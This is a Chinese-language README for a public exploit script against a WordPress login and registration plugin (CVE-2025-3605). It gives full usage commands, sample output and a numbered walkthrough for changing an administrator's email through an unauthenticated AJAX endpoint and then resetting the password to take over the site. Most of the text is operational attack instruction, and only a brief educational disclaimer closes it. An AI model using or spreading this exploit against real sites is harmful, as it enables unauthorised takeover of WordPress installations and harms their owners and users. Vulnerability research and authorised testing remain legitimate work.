WordPress 的 Frontend Login and Registration Blocks 插件(版本 <= 1.0.7)存在通过账户接管实现权限提升的漏洞。
问题在于该插件在通过 flr_blocks_user_settings_handle_ajax_callback() 函数更新电子邮件等敏感信息时,未验证用户身份。
✅ 影响:
未经认证的攻击者可以更改管理员的电子邮件地址,触发"忘记密码"流程,并重置管理员密码,从而获得完全控制权。
随附的 Python 脚本通过针对易受攻击的 AJAX 端点来自动化利用过程:
/wp-admin/admin-ajax.php
它将目标用户(通常为管理员,user_id 为 1)的电子邮件更新为攻击者控制的电子邮件地址。
文件名: CVE-2025-3605.py
python CVE-2025-3605.py --url http://target-site/wordpress --user_id 1 --mail [email protected]
✅ 默认值:
--user_id:1(默认管理员)--mail:[email protected]要查看帮助菜单,请运行:
python CVE-2025-3605.py --help
输出:
[+] Starting exploit script...
usage: a.py [-h] --url URL [--user_id USER_ID] [--mail MAIL]
Frontend Login and Registration Blocks Plugin <= 1.0.7 is vulnerable to Privilege Escalation # By Nxploited (Khaled Alenazi)
options:
-h, --help show this help message and exit
--url, -u URL Target URL, e.g., http://192.168.100.74:888/wordpress
--user_id, -id USER_ID
User ID to target (default: 1)
--mail, -mail MAIL Email to set (default: [email protected])
✅ 示例运行:
python CVE-2025-3605.py -u http://192.168.100.74:888/wordpress -id 1 -mail [email protected]
✅ 成功时:
[+] Starting exploit script...
[+] Sending exploit to http:/target.com/wp-admin/admin-ajax.php/wp-admin/admin-ajax.php
[+] Exploit successful! Response: {"status":true,"message":"Operation has been completed successfully."}
[+] Final Step: Go to the Forgot Password page and reset the admin password using the new email!
Exploit By : Khaled_alenazi ( Nxploited )
❌ 失败时:
[!] Exploit failed. HTTP Status: 400
[!] Response: 0
1️⃣ 导航到:
http://target-site/wordpress/wp-login.php
2️⃣ 输入你设置的新电子邮件([email protected])。
3️⃣ 请求密码重置。
4️⃣ 设置新密码。
5️⃣ 以管理员身份登录并享受完全访问权限。
此漏洞利用及脚本仅供教育和授权测试之用。
对你不拥有或无明确测试授权的系统进行任何未经授权的使用都是非法且不道德的。
作者:Khaled Alenazi(Nxploited)